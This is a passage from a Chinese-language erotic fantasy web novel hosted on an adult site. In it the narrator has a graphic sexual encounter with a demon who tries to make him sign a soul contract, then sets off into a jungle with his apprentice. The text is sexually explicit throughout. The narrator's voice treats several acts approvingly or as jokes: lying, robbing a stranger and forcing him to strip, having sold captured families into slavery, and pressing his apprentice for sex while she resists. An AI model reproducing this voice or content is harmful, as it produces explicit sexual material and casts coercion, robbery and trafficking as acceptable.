未满18岁请离开,合理看片健康生活
★本站公告★:合理安排时间看片,享受健康生活。发任意邮件到Lsese318@outlook.com获取最新地址。

【阿里布達年代記】2

  第五章惡魔契約
“什麼人?限你馬上給我現身出來,否則……否則就是自找倒黴!就算你不是人,那也是一樣。”
想起狀況特殊,我連忙加了後面一句,腦裡僅存的幾分理智,則是開始拼命回憶過去聽過各種與妖精們打交道的方法。
而在這句話之後,也不知道對方用了什麼方法,已經熄滅的油燈重新亮了起來,為整個室內增添亮度。藉著油燈的光亮,我回頭看見了那突然出現在我身後的女子。
那真的是一個很動人的女子,甚至可以說是個讓人一看之下,立刻就想要一親芳澤的性感尤物。五官細緻,輪廓分明,亮麗紅發與雪白肌膚,身材十分地高佻豐滿,配上那一身很有味道的打扮,將自身魅力發揮到極限。
上身穿著一件細肩帶的緊身背心,不僅露出平滑的小腹,更將一雙雪肩連同大片胸口肌膚曝露在外,35F的豪乳,堅挺豐滿,從領口露出了深深的乳溝。
下身穿著一套奇特的長褲,左邊褲管直垂到腳邊,右邊褲管卻是僅止於大腿根,剩下部分全變成黑色網襪,若隱若現地展露性感的美腿。而足底十五公分的高跟鞋,則讓一雙美腿看來更加地修長,和豐臀一起,形成近乎完美的曲線。
一頭亮眼之至的鮮紅長發,大波浪似的垂下;明艷豐唇上塗了與眼影同色調的淺藍色,雖然古怪,卻很襯合那一雙如海水般的湛藍眼眸。頸上纏了一條不知是貂還是狐的毛皮圍巾,配合上一身漆黑穿著,很是有一種妖艷邪惡的危險味道,令人心兒狂跳,卻是捨不得把目光移開,希望能夠一直看下去。
與凝視龍女姊姊、看著阿雪全然不同的感覺,這個女子雖然不見得有她們的絕色姿容,但是當我察覺過來,我已經不自覺地吞了好幾口饞沫,胯間亦莫名地熱了起來。
“這位帥哥哥,這一次的客戶是你嗎?嗯,果然是一表人才,風度不凡,這次就承蒙你多多照顧了……”
低沈的嗓音,卻是像蜂蜜一樣甜美難言,傳入耳裡,更好似一根羽毛在心頭上輕輕搔動,教人心癢難耐。而沒等我開口說話,那位突然冒出來的性感尤物,已經隨意拉了張椅子坐下,也不見她怎麼念咒、使手印,右手就忽然多出了一本簿子,書頁自動地翻掀了起來。
“你的名字是……不好意思,最近業務有點多,查數據慢了點……啊,有了,是鼎鼎大名的約翰·法雷爾提督,少年提督,履建奇功,雖然因為在宮廷的暴露事件身敗名裂,不過很快又揭發黑龍會陰謀,東山再起,目前遊蕩南蠻,執行敕令中。非常好,這樣的人,最是我們心愛的對象了,今天能夠認識你,人家真是好高興呢。 ”
聽她含嬌帶嗲地說了一堆,我都迷糊起來了,雖然心裡已經有了個底,但還是問道:“請問……你到底是誰啊?”
“啊……抱歉,忘了做自我介紹了。我有很多名字,隨著各種文化、地域性而有所不同,以目前來說,你可以叫我菲妮克絲。我的工作是與人簽約,收買靈魂,至於職業名稱……”
菲妮克絲眼波流轉,投來一個極具誘惑性的媚笑,盈盈朝這邊走來,在我身旁走了一圈,兩腿擺動間,我注意到,黑色的緊身褲,將她的美臀緊緊包裹住,呈現著一對蜜桃似的翹隆曲線,令人心動。
“我是一個惡魔,受指環的召喚而來,請多指教。”
這話可真是嚇人一跳,但是卻與我的預想相同。那枚戒指中果真有問題,卻不是如平常一樣宿有精靈或是魔靈,而是成了一個發信媒介,把訊息傳出去,將眼前的美人召來。
菲妮克絲,她自稱是個惡魔,這點似乎是沒有錯,因為除非是修練到神魔一般的修為,不然人類運使魔法,終究是要靠著手印或是咒語來借力。但剛才她隨手變出東西,卻沒有這些過程,這就不屬於是人間界的技術了。
“你……是來收買我的靈魂嗎?”
修練黑魔法的術者們,有些會召喚出惡魔,與惡魔簽訂契約,藉以獲得利處,這些事我以前時有所聞,卻沒想過自己也會碰到這樣的事,畢竟我只是個半路出家、沒接受過正統訓練的三流魔導師,對於這方面,我並沒有足夠的知識,曉得該如何和惡魔打交道。
只不過,根據過去各種談判、講數練出來的經驗,別立刻答應對方要求,是在談判中取得優勢的第一條件。
“別這麼說嘛,對我們而言,每一次受到召喚,就是多一個與人類結緣的機會,特別是像你這樣的帥哥,能與你見面,人家真的好高興呢。”
菲妮克絲語笑盈盈,說著讓人歡喜的話語,更好像只是為了來與我相識一樣,完全不提自己的目的,一面笑著說話,一面用手將頭髮往後梳撥,在如火紅發垂洩間,展露她艷麗的容顏。
我忽然發現,她和我過去認識的女性有一點很大不同。她的一舉一動,看起來非常地自然,沒有一絲矯揉做作,但卻又非常地誘人,每一個小動作,都將她的胴體伸展成一個完美曲線,或是那蜜桃隆臀,或是飽滿豐乳,甚至是那幾乎超過身體比例一半的修長美腿,都恰到好處地吸引我的視線,在輕輕擺動中,我的呼吸慢慢急促了起來。
也直到我開始坐立不安,察覺到這一點的她,很輕柔地微笑了起來,右手把記事本往後一拋,記事本如煙散化在空氣中,而另外一本像是“魔導藥草圖鑑大全”之類數千頁的厚書,則是擲地有聲的重重落在我面前,上面寫滿蠅頭小字,卻在開頭第一頁留下一個幾乎白到刺眼的簽名空格。
“我想……你已經知道人家的來意了。我們惡魔是從來不強迫人的,這份文件請你看一看,所有的相關事宜,都已經記載在這契約上頭了,有興趣和我們交易的話,只要你在這裡簽名,我們就算是結訂契約了,你仔細考慮一下吧!”
一如慈航靜殿的聖典所記載,惡魔都是詭計多端的,雖然樣子很輕鬆,但我才稍微一猶豫,菲妮克絲就像是要與我一起商討契約一樣,貼靠到我身邊來,一雙手更有意無意間在身上輕輕按捏。她柔軟的手指似若有著魔力,每一下碰觸,都在我身體點起一團熊熊慾火,恨不得立刻就找個女的推倒在地上了。
“等等,這麼大一本東西,你稱它為契約?”緊要關頭,我好不容易收攝心神,保持一絲清醒,道:“就算要我簽約,起碼也得把契約內容交代清楚吧。嘿!我可不是隨便和惡魔打交道的人,祭司和神官都說,如果和魔鬼交易,死後靈魂會下地獄,永遠受到煉火煎熬。”
“那些傻蛋的說話怎麼能相信呢?你們人類盡是會想一些莫名其妙的事。”
像是聽見什麼很滑稽的事,菲妮克絲在我耳邊輕聲呵道:“地獄是我們的地盤?還是他們的地盤呢?你成了我們的客戶,就算真的下了地獄,我們也只會在自己地頭上給你方便,怎麼會把你扔去讓火烤呢?”
“嗯,聽起來是有幾分道理……”
“所以呢,一點都不用顧忌,像個男子漢一樣,大膽地把這份契約給簽了,讓我們兩蒙其利吧。”說話的同時,她柔嫩的掌心拂上我胸口,一下輕一下重的搓弄,又癢又舒服的感覺,險些就讓我失去理智,點頭答應。
“還是不行,在知道交易的完全內容之前,我絕對不會簽約的。”
“交易的詳細條文,都已經寫在這份契約裡頭了,你一看就知道了!唔……不來了,你欺負我喲……”
把我碰往她胸口的手掌握住,菲妮克絲的說話,像是情人的嘆息似地,低沈而富磁性的聲線,令人聽了,酥軟入骨,不由自主地想入非非。
“胡說!”被她給摸得慾火熾盛,卻又得不到宣洩,我憤怒的說話更是大聲:“現在有誰會把這麼複雜的契約看完才簽約?東西寫得這麼密密麻麻的,你以為會有人類看得下去嗎?”
給我這樣一吼,菲妮克絲卻露出一副心有戚戚焉的表情,把手一攤,委屈道:“說得太好了,可是,連人類都看不下去的東西,你以為惡魔會有耐性把它看完嗎?”
看來至少在這一點上頭,人類與魔族可以達成協議,對於那些會讓人、魔都昏昏欲睡的冗長條約,我們都視之為畏途,不想去接觸。
菲妮克絲索性收起了契約書,直接對我進行講解。簡單來說,我可以對她許五個願望,代價則是用自己的靈魂來交換。這些是與她交易的基本條約,但假如一切真是這麼簡單,就不會有一堆大喊著“惡魔都是騙人的王八蛋”的魔導師與妄想者,在怨恨中被帶走靈魂了。
傳說中,這些來誘人簽訂契約的惡魔,就好比最黑心的訟師一樣,最擅長玩弄文字遊戲,在交易契約中佈滿各種陷阱,如果不想所有願望許完,自己卻仍一無所有,那就得在這上頭特別小心。
事實上,這些惡魔也不是無所不能,否則世界早已經由他們統治,慈航靜殿裡那一票神職人員也可以回家吃自己了。我們或許可以許願“我要很多很多的錢”、“甚至我要永遠也用不完的錢”,這些都可以實現,在滿足客戶物慾要求上,惡魔一向很慷慨,但是當許願說“我要變成世上最有錢的人”時,就會遇到問題,因為,目前當今世上的首富,說不定就是他們的另一個客戶。
菲妮克絲所能承諾於我的,也只是在她能力範圍內滿足我的願望,而這些願望不包含“再給我五個願望”、“我要變成地獄之王”之類的不合理要求。至於“變成天底下最厲害的武者”、“擁有不死生命”這類的蠢願望,我也不會笨到去許,即使不用傳說中的慘痛例子提醒,我也知道吃下猛藥成為武功天下第一,但在一刻鐘後七孔流血身亡;或是被變成骷髏活屍,從此永生不死的愚昧下場。
一輪討論花了頗長時間,但整個過程中,我卻顯得很悠哉,從容不迫。一來,我知道悠閒永遠是談判中的優勢要素;二來,我確實沒有什麼事好著急的。我並不是一個無欲之人,甚至還是一個很多慾望的人,然而,那些願望裡頭,卻沒有什麼需要冒著高危險去和惡魔簽約的。
金銀珠寶,對我的引誘力不大,雖然我也喜歡錢,但是只要這世上蠢人還是那麼多,我殺人放火、偷搶拐騙,要從傻瓜手裡騙到錢來,這實在太容易了。好歹我也是阿里布達的子爵萬騎長,有地位之便,又學過淫術魔法書上頭的技術,要迷昏有錢人,騙光他們的身家,不用惡魔幫忙我自己就會了。
官職什麼的,就更加不必了。變態老爸的官可夠高了,但終究是要聽命於人,自來伴君如伴虎,官升得越高,死得越快。至於自己去開國當皇帝,雖然聽起來很誘人,但我想這個願望是超過菲妮克絲能力範圍,頂多弄個小酋長噹噹就算了。
把龍女姊姊追上手,該說是我最大的心願了。但是這個願望,有點像是一種憧憬,我希望靠自己的力量去圓夢,不想靠惡魔許願。當然,要影響龍女姊姊的心智,這願望也絕對超乎惡魔的能力範圍了。
我很想早點把阿雪的紅丸給采了,甚至眼前這火辣性感的尤物,我也想弄上床去操弄一番,不過這些都不值得我冒險去許願。
就因為這樣,在漫長的討論中,我一直顯得悠悠哉哉的,什麼也不放在心上,如果真的說有什麼讓我心癢難耐,那就是菲妮克絲在對我輕撫挑逗無效後,竟然蜂腰一扭,老實不客氣地坐在我大腿上,弄得我胯間怒舉,險些狠狠一棒,就敲在她圓翹美臀上。
以個頭來看,身材高佻的菲妮克絲,比我還要高,要坐在我腿上,照理說該是非常怪異的,但實際接觸之後,我才發現這男性恩物的絕大好處。她渾身的肌膚,真個是柔若無骨,一坐到我腿上,扭動嬌軀貼入我懷裡,結實而有肉感的渾圓屁股,更毫不在意地在我胯間摩蹭。
“我……我覺得很難相信你,你們惡魔都是狡猾多詐的,說不定我才簽了約,你就馬上設法把我給幹掉,那我不是太虧了嗎?”
“你怎麼這麼懷疑我呢?人家、人家好傷心啊!”好像是一個天真無邪的小女孩,菲妮克絲轉眼間便泫然欲泣,哽咽道:“就算是惡魔,我們也是有職業道德的啊,你以為我們願意讓客人死掉,隨隨便便砸壞招牌嗎?契約中都是有保證的,直到你願望許完才帶走你的靈魂;在你沒許完願望之前,我們不但保障你的性命安全,還附送你從心所欲隨身罐,可以有限度地變出你需要的東西。真的是好處多多,人家這麼樣地為你著想,你卻這麼樣地懷疑我,我、我都不知道該怎麼辦了……”
悲聲哭泣的樣子,讓我不自禁地一陣心痛,但隨即又被懷中她的扭動給引走注意。
與龍女姊姊、阿雪不同,菲妮克絲的肌膚,白嫩得快要可以滲出水來。不是那種病色的蒼白,而是像剛剛剝去殼的滑嫩雞蛋,幼滑而充滿彈性,在她身上,我才真正領略到“膚若凝脂”的具體意義。而她身上不知是噴了什麼熏香,舉手投足間都像是塗抹了一層蜂蜜似的,馥郁醉人,當那白皙手臂繞過我頸項,我幾乎忍不住就一口舔了上去。
“對不起,是我不好,我沒有想到你們的服務會這麼周到,真是太對不起了。”
“那、那你願意相信人家了嗎?相信人家不會害你了嗎?”
“這個……你這樣說,我也回答不上來啊……”
一面講話,菲妮克絲在我耳邊不住發出引人遐思的低喘,柔軟似綿的胴體,貼靠在我懷裡,來回地摩擦,整個人就像是化作一尾妖豔的大白蛇,纏貼在我身上,性感美態令我呼吸困難起來。渾圓堅挺的乳球、結實的玉臀,這些我都感覺得到,當兩具肉體這樣地緊貼在一起,陣陣濃郁體香嗅入鼻端,我登時神不守舍,差一些便忙點起頭來。
“嗯~~你們這些人類,就是對我們惡魔有歧見,我是誠心誠意地來服務你,又怎麼會想要害你呢?”
說著,菲妮克絲有了動作。出乎意料,她竟然大膽地把手伸到我褲襠裡,撥弄那早已硬挺的肉莖。
“啊!喔……”
突然的襲擊,我叫了一聲,只覺得五根靈巧的手指,慢慢地搓弄龜頭內側,同時也用掌心去摩擦睾丸,高度刺激之下,一股熱血筆直衝上腦門。
無比地興奮,我一時間也不管什麼惡魔不惡魔,大膽地把手探進菲妮克絲領口,使勁往後一拉,讓她美麗如雕像的上半身,幾乎都裸露了出來。
淡淡的光線中,菲妮克絲的乳房、屁股、雙腿曲線都是那樣的柔美,當她彎著身體往後靠來,從肩膀、胸部,乃至於纖細腰部,拉出了一條極端艷媚的線條,雪白胴體輕微地顫抖著,散發出無可言喻的官能之美。
“哦!喔!”
細嫩的掌心,擦得恥毛癢癢的,指頭在肉莖前端敏感處搓弄又離開,離開後又搓弄。快要出來時就將手移開,看到有點萎縮時又用手指觸著前端。如此的反反複複,菲妮克絲巧妙地控制了我的感覺,使射精感高漲卻又出不來。
“怎麼樣?人家的服務好嗎?”菲妮克絲略仰起臉蛋,媚眼如絲,半閉的星眸用妖豔的眼神挑逗著我,彷彿我一答應簽約,她就會任我在她身上為所欲為似的。
我舔著菲妮克絲的耳朵,看她笑開了容顏,再把舌尖送進如貝殼般秀氣的耳朵裡,說著:“好,實在是好得不得了,你……你以後別去拉契約了,專門去幹這個服務,保證你生意興隆啊。”
“討厭,這樣子說人家……啊,你幹什麼啦?”
實在是受不了了,趁菲妮克絲還在和我說話的時候,我把她往上一抱,趁勢把她的褲子拉脫至腿間,露出白嫩玉臀,放落在自己的腿上,讓肉莖前端抵著結實臀肉,順勢往凹陷處滑去。
“服務總是要做足全套,我都已經這樣了,你可別想半途開溜啊!”
“你還真是壞呢,可是,想要非禮惡魔,代價很高的喔。”
“怕什麼,頂多等一下和你簽個約,讓你有辦法回去交差,這樣讓我乾一次,總沒問題吧 。”
在這之前,菲妮克絲還一直在我懷裡扭動掙扎,但聽我這樣一說,加上抱住她玉臀的那雙手猛往下拉,她便放棄抵抗,只是回過頭,半是認真、半是挑逗地笑道:“那麼……人家就任你享用了,事後可千萬別毀約喔。”
“絕對不會!”我說得斬釘截鐵,只是沒有把“才怪”兩個字說出口。菲妮克絲被我抱著胯坐在我腿上,似是不習慣這樣的羞恥姿勢一樣,低垂著臉,輕聲笑著。
“來,自己用力擺動腰!我要進去了。”我抱著菲妮克絲,由正下方把陰莖插了進去。
“啊……啊……不要這樣強烈……”
真是超乎想像的媚骨,我才開始抽插個幾下,她就有了強烈的反應,不但嬌聲呻吟,肉穴更不住地滲出花蜜入,這樣敏感的體質,才沒有個幾下,菲妮克絲就把持不住了!
不過我也不輕易鬆手,抱著她來到旁邊的床上,恢復正常體位,把菲妮克絲的左腳放置在右腳上,自己也躺在她旁邊,正好是把身體左側下方的菲妮克絲從背後抱住的姿勢,陰莖直直插入,一面抽送,一面用一隻手揉捏著豐滿的乳房,還用嘴唇吸吮著耳朵。
新的快感再度升起,菲妮克絲全身香汗淋漓,開始發出了呻吟。
“嗯……好、好棒喔,從來都沒有那麼過癮過……啊,更激烈一點,讓人家、讓人家……更舒服一點……”
我仍不放鬆,繼續帶領菲妮克絲探索未知的領域,我仍從背後抱住她,讓她俯身向下。直接插入時,菲妮克絲的口中已發出了呻吟,更流露出類似哭泣的歡愉叫聲,在不斷的被陰莖貫穿之下,還是不知不覺的發出了呻吟。
亢奮的陰莖抵到陰道時,如火花迸裂的快感流遍全身,幾乎是在無意識下,菲妮克絲披著垂肩的秀發,以陰莖為軸,腰部開始上下擺動起來。隨著上下的擺動,股間的淫水發出異樣的聲音,而豐滿的乳房也彈跳著。
此時的我抓住了菲妮克絲的腰,讓她更隨著我的手上上下下沈浮著。菲妮克絲已然無法控制自己的抑制了,我一面撐著晃動的巨乳,一面用力的挺進著。
“惡魔又怎麼樣?要搞起來,還是和人類搞比較爽吧?是不是啊,你這個風騷的小惡魔。”
冷不防,我的嘴偷襲到菲妮克絲頸背,她就如同被電流擊中,身體顫抖著,發出近似哀嚎的叫聲。
我的嘴唇從肩膀後滑過頸子,來到面頰時,菲妮克絲竟主動轉過頭將唇迎上去,用力回吻過去,把我伸進嘴裡的舌頭,貪婪的吸吮著。
“喔……”
在極度的歡愉中,菲妮克絲鬆開了嘴唇,上身整個向後仰。我加快速度的抽插,將她一舉送上高峰。
“你……真是棒呢!”
長發淩亂的遮住了臉,菲妮克絲大聲地叫了出來,忘情擺動著腰,配合著我的律動,豐滿胸部挺向我的雙手。我也控制不住,龜頭整個沈浸在蜜汁裡,發射出大量精液,在此同時,菲妮克絲的四肢被強烈痙攣貫穿。
“啊……啊……喔……”
在無意識中,菲妮克絲體內像吸管一般,緊吸住我的陰莖,兩人一起發出類似筋疲力盡的呻吟,全身融化在無可言喻的絕頂高潮當中。
也直到雲消雨散,我們兩個並肩躺在床上,菲妮克絲妮在我耳邊說道:“嗯……該讓你享受的,你全都已經享受過了,現在答應人家嘛……簽個約好嗎!”
“不!打死我都不會籤的!”本著正義原則,我毅然拒絕了肯定會拉我下地獄的契約:“和惡魔簽訂契約,不會有好下場,你們一天到晚騙人,現在我對你也不用守什麼承諾,約我是一定不會籤的。”
我暗自準備好的封魔秘咒,已經在剛才歡好之前偷偷塞到床墊下,現在也握在掌上,只待對方翻臉發難,立刻就要動手。
“是嗎?真是可惜呢,人家是這麼樣地想要為你服務呢……”努力了半天,最後仍然被拒絕,菲妮克絲似乎也不生氣,甜甜地一笑,也不起身,就這麼在我大腿上翻過身來,如玉左臂 纏著我的頸子。
“買賣不成仁義在,你閉上眼睛,讓人家給你一個臨別贈禮好嗎?好啦,人家拜託你嘛……”
別說那柔媚到極點的嬌嫩語音,光是那飽滿乳峰在我胸口旋轉摩擦的絕妙觸感,就令我再度色授魂予,閉上眼睛,手亦不安分地往前摸去,希望能再佔一點便宜。
“別急嘛……人家、人家這不是來了嘛 ……”
香風撲面,我心神一盪,預備讓她的紅唇吻上我的嘴唇。但在接觸剎那,我卻覺得不對,接觸點不是嘴唇,而是左眼,接觸過來的也不是熱吻,是一記重重的拳頭。

第六章大荒羑里
“哇!”
我大叫一聲醒來,剛才的發生的一切如夢消散,連帶菲妮克絲在內,所有東西消逝無蹤,我仍是趴在桌上睡覺,只是褲襠裡頭濕了一塊。
(難道真是做了一場春夢?!)
疑惑中,旁邊傳來嬌嫩的叫喚。
“唷呵,師父,你醒來啦,要準備吃飯了嗎?”
斜斜的夕陽,從窗口透射進來,在屋子裡頭灑上淡淡紅霞,俏阿雪抱了一捧花,正往花瓶裡頭插去,可愛的狐尾在屁股後頭搖來搖去,表示著她的好心情。
“你還真行啊,心情總是那麼好,那頭應該要人道毀滅的東西呢?”
“你說豹豹啊,我剛剛和它一起洗了個澡喔,它的皮毛好漂亮喔,而且它的翅膀,居然還可以收起來看不見呢,現在正趴在我房間裡睡覺。”
我才不管那隻異種龍豹的翅膀能不能收,腦裡只想著,能和阿雪一起洗澡,對她那豐乳肥臀揉揉捏捏,確實是賞心悅事,令我深深羨慕起來,不過,這時候我腦裡所困擾著的,仍然是剛剛的事。
(是夢嗎?那個女惡魔可還真是辣啊,從來也沒看過這麼有味道的女人,那一身細皮白肉,想到都要流口水了……是不是最近欲求不滿?怎麼會沒事做起春夢來?看來今晚就應該和小阿雪……咦?)
看到一樣不太對勁的東西,我連忙站起身來,把阿雪正拿在手裡把玩的那個小銅罐奪過。那是一個巴掌大小的長扁形銅罐,上頭刻紋著細細的海貝花紋,樣式相當美觀,不過,真正引我注意的原因,是我不久前才看過它。
(果然沒錯,是剛剛菲妮克絲說的簽約贈品,從心所欲隨身罐,她是不是氣得忘了把這東西帶走?)
如果是與惡魔有關的東西,可能就是魔導器了,我還記得,菲妮克絲說過,我可以用這個從心所欲隨身罐,有限度地變出我想要的東西,雖然看它這樣的大小,變不出什麼東西來,不過有這一樣魔法器具,終究是很有用的。
“咦?師父,你的左眼?!”
被阿雪一提,我才發現自己的左眼多了個黑眼圈,自然是剛才菲妮克絲的傑作了。方自出神,我低頭一瞥,卻看見左手無名指上正套著一枚銀色指環。在銀質的表面上,有一層淺淺的紅芒,妖異地流動著。
(原來如此……那個夢……是真的啊……)
憂喜三半,我看著無名指上的那枚銀戒,一時間說不出話來……
將手邊事情整理一下,隔日我們就動身上路。龍女姊姊所委託的目標地,史凱瓦歌樓城,我只是曾經聽過,知道是在南蠻腹地,要穿越層層樹海,但是確切位置並不清楚。向本地的寶物獵人稍作打聽,也是含糊雜混,講不清楚,畢竟他們都沒有深入南蠻的經驗,不可能知道詳細位置,看來只好邊走邊問了。
不過,要進入雨林山地,兩手空空進去是不行的,我領著阿雪,到市集上去採購必須用品,從水壺、防水靴、開路用的長刀、火種、保暖毛毯……全部一一採購齊全。
一般旅人所必備的弓箭,我們倒是可以省了,反正我力氣不大,要拉弓射箭多半是做不到,阿雪的力氣可夠大了,但是這笨女人射箭的準頭奇差,還是直接用重物投擲省事。
“年輕人,你要進麥里去啊?就這樣進去,很危險啊,那裡的獸人可是很不歡迎人類的……”
聽說我要深入樹海,聽到的就是一片勸阻聲音,許多商人打量一下我的身材,立刻就不以為然地大搖其頭。
“聽說那裡最近有拜火教在拓張勢力,幾個族群惡戰不休,外人現在進到裡頭去,恐怕……”
“恐怕什麼?看你們一個個的眼神,以為我會一去不回嗎?告訴你們,我不但是個傑出的珍寶商人,還是一個傑出的珍寶獵人,這一次深入羑里,就是為了取寶而去的,你們等著看我出來發財好了。”
或許是看過太多像我這樣口出狂言、卻隨即在雨林中屍骨無存的蠢蛋,眾人並沒有什麼激烈反應,反倒是有一個看來形貌猥瑣的半獸猴人,悄悄地跟著我和阿雪,直到沒有什麼旁人了,我終於忍不住,回身喝問。
“渾蛋!這麼鬼鬼祟祟地跟著,你到底有什麼目的?”
“啊,沒有啊,只是看先生你要深入南蠻了,看看你有沒有什麼值錢東西不想要了,橫豎帶去也是浪費,不如賤價賣我吧。”
“……”
“你帶著的這頭豹子,皮毛油亮,剝下來賣,價格不錯的,還有你身邊的這個女奴,雖然帶著面具,但是身材豐滿,特別是胸前實在是……”
“把錢拿出來!”
“什麼?先生你還真好說話,這麼快就成交啦,看在你這麼爽快的份上,我可以把價錢算高一點。”
“誰說要和你做生意?我說把你全身值錢的東西拿出來,現在這是搶劫。”
我瞪著這不識好歹的猴耳傢夥,怒道:“動作快,把全身值錢東西拿出來後,自動把衣服脫光,不然我一聲令下,嘿嘿,你不是以為我這頭獵豹是養來觀賞用的吧?”
就這樣,我們幹完了離開前的最後一票生意,正式朝著羑里的樹海出發。為了入境隨俗,我開始考慮,是否要換個假名,畢竟此去福禍未卜,說不準更會有什麼倒黴事,倘若像當初在皇宮裡的暴露事件那樣,再次出醜,名揚國際,那我就真的不用混了。
再說,約翰·法雷爾這個名字,現在在國際間頗為響亮,連續兩次戰役,和伊斯塔、索藍西亞都結下仇怨,不少人的丈夫兒子因我而死,更有不少人全家大小被我一起當奴隸販賣到異國。講得白一點,就是說不定哪天走在路上,會忽然給路人刺進一把匕首,暗殺幹掉,在這種情形下,用本名進入羑里,實在是太危險了,為了這些理由,我決定換個假名。
南蠻獸人的命名習慣,有一派是像我和菲妮克絲這樣的語法,但也有另外一派,是以顏色為姓,配上其它自然事務,例如銀月、翠羽、紫川……之類的命名,如果要改變姓名,最好就從這邊來著手。
幾經思索,我決定取一個比較威猛的名字,希望能在南蠻重振雄風。藍雕,是一種此地的猛禽,棲息在高山之上,以毒蛇、毒物為食,體積有小牛般大,爪子鋒利,行動如風,被它的爪子傷到,會產生石化作用,救治起來很費功夫,因此是獵人們的頭痛對象,不過,也因為這樣,它的爪子是市場上高價貨品。
“決定了,遷就本地的習慣,就叫做藍雕吧!”
當我向阿雪耳提面命,要她在羑里的時候,別用本名稱呼我時,這個一向搞不清楚事情狀態的傢夥,只是滿懷好奇地問我。
“唷呵,師父啊,那我是不是也應該要換一個假名呢?這樣到羑里會不會方便一點啊?”
笨女人,你現在用的已經是假名了,不信你就用天河雪瓊之名,到羑里走一圈,不給那群獸人生吞活剝,那才有鬼。
“這個嘛……你戴上面具就好了,那裡獸人很多,胸部比你大的人多得是,只要不讓人家看見你的臉,就不會有人想非禮你的,至於名字……笨蛋阿雪就好了。”
阿雪自然不依,纏著我鬧,不過,也幸好拖了這樣一個神經比水管還粗的遲鈍傢夥,才得以在這樣窮山惡水的環境,不會無聊,讓人有一絲心安。
放眼看去,盡是無邊無際的原始森林,枝幹茂盛,綠蔭遮天,長滿青苔的斑駁樹幹上,另外有古藤纏繞,筆直攀上樹頂。像這樣的數百年、甚至是數千年的老樹,個個都有幾十尺高,蔓延出的繁枝密葉,化作了一把把深綠色的大傘,將整座樹海籠罩。
像這樣的環境,陽光並不容易透射到地面,就連我們走在森林間,?頭往上看去,也只看見陽光被濃枝密葉切割得支離破碎,幾經艱難地透射在地上,變成一個一個的細小金點。
在林木更茂密一些的地方,由於缺乏陽光,加上森林裡頭濕氣極重,就有一層又一層的混濁霧氣,遮擋在我們面前,往往放眼看去白濛濛一片,什麼東西都看不真切。也許聽起來很不錯,但是當你走在霧嵐裡,眼前景物看不清楚,猛地一下撞到樹幹,頭痛欲裂的時候,就知道厲害了。
走在叢林裡頭的感受,並不像是平時外出踏青那樣好過。林子裡頭的氣溫很低,走著走著常常就打起寒顫,想找個溫暖的東西去抱一抱。不時竄入鼻端的,也都是一股濃濃的潮濕味道,越聞就越冷,讓人實在是有些後悔,為何自己不躲在舒服被窩裡,摟著阿雪睡大覺,要跑進這樣的荒涼所在。
聽在耳裡的聲音,也與好聽無關,在這麼黑漆漆的環境裡,偶然傳來一兩聲淒厲、急促的鳥鳴,似夜梟悲嘯,聽得人毛骨悚然,好像有什麼魔物要從黑暗裡跑出來了一樣。
樹林裡頭不會有人打掃,落葉飄散地上,積成厚厚的一堆然後腐朽,腳踩在地上,都是一些軟塌塌的稀爛濕泥,加上那些青苔,剛開始不習慣的時候,真是常常失足跌倒。森林裡頭有些小獸,松鼠、兔子之類的,會冷不防地從腳邊竄過,一下子就不見蹤影。這些都還好,不過當蛇、蠍、蜈蚣一類的毒物,也這麼刷地一下,趁霧濃從腳邊擦過時,我就只能慶幸自己穿的是長靴,而靴子也確實夠厚了。
體力也是一個問題,雖然是軍人,但是貴族子弟並沒有多少行軍經驗,我更由於修練魔法外加房事過多,體力並不是很好,所以要在沒有座騎的情形下,於森林裡頭長途跋涉,那就只能走走停停,多做休息了。到了第三天,連腳底也起了水泡,我終於是受不了了,再看見阿雪那麼連跑帶跳、與龍豹邊走邊玩耍的愜意樣子,實在是很火大。
“決定了,阿雪,去找一些樹藤,做一張背椅出來,以後的路,由你背我上路。”
“咦?師父,可是……人家已經負責提所有行李了,如果再背著你,好像有一點重耶。”
“羅唆,反正你力氣大,跑得又快,我沒有要你趴下當馬騎,就已經算是對你很不錯了。”
和往常一樣,阿雪很快地敗下陣來,和我一起做了一張簡陋的軟椅,在往後的路程中,我坐在軟椅上,由她背著上路,大幅度減低了跋涉之苦。
晚上睡覺的時候,也有一點麻煩。森林裡夜晚濕冷,我睡覺時是把毛毯蓋在身上,前方又生了火,但仍是會冷得忍不住打顫,這時候就分外羨慕阿雪,她甚至連毯子都不用,就直接趴靠在龍豹身上,枕著它柔軟而溫暖的毛皮,睡得又香又甜。
(真的是太不公平了,照說像天河雪瓊那樣的女神官,一定是養尊處優,為什麼對環境的適應力這麼好?什麼都能吃,什麼環境都能睡,活像頭母豬一樣,難道獸人化真是這麼方便?)
越想越是不甘心,我再度向阿雪抱怨。睡眼惺忪的她,側頭想想後,表示願意與我易地而處,很大方地把溫暖床位讓給我。
“毯子給你,豹子給我?算了吧,這麼名貴的被子,我可消受不起。”
一起上路已經數日,那頭龍豹早就和阿雪混得熟透,彼此親暱得像是同一個窩生的。但是對於其它人的敵意仍然是很深,特別是對我,每次都兇巴巴地盯著我看,活像說只要逮到機會,立刻就會撲上來咬斷我喉嚨似的,如果學阿雪那樣拿它當被蓋,肯定活不到明天早上。
不過,要說起這頭豹子,也確實是非常奇怪。明明只是一頭母畜生,卻是那麼地跩,走路也好,趴臥也好,都是把頭?得高高的,一副很驕傲的樣子,看到我的時候,不是怒目以視,就是直接轉過頭去,不相理睬。
哼,上古神獸就很了不起嗎?得罪了我,總有一天把它這畜生拆皮煎骨。特別是,最近就是因為它的關係,害我找不到機會找阿雪再親熱一次,平時早上的口交,那倒是還好,但是當我要把阿雪騙上床去,而這死丫頭掙扎著不依時,那頭畜生就發出怒吼,躍出攔在阿雪身前,不讓我進犯,有一次甚至還把我給撲倒在地,真是好驚險啊。
“阿雪,你該管管你的寵物了,再這樣讓它亂來,就拿根鐵煉把它給拴住,別讓它這麼到處亂跑。”
對於我的要求,阿雪卻是理直氣壯地拒絕,“才不要呢,小紫又沒有做錯事,都是師父不好,想要……想要玩人家的小屁屁,所以小紫才會這樣的。”
為了方便稱呼,阿雪替碧玉龍豹取了“紫羅蘭”這樣的怪名字,暱稱它為小紫。而似乎是因為得到同伴,人多壯膽,一向對我言聽計從的阿雪,在拒絕我的求歡之後,還很俏皮地對我吐舌頭、裝鬼臉。
(氣死我了!真他母親的是氣死我了!給我記住,早晚把你們兩頭畜生一起搞定……)
好不容易采了阿雪的肛菊,才在設想往後可以如何地銷魂,卻被迫硬生生終止,心中真是咬牙切齒,誓報此仇,只不過,以現在的情況來看,要下手把那頭豹子給宰了,我還真是不敢。
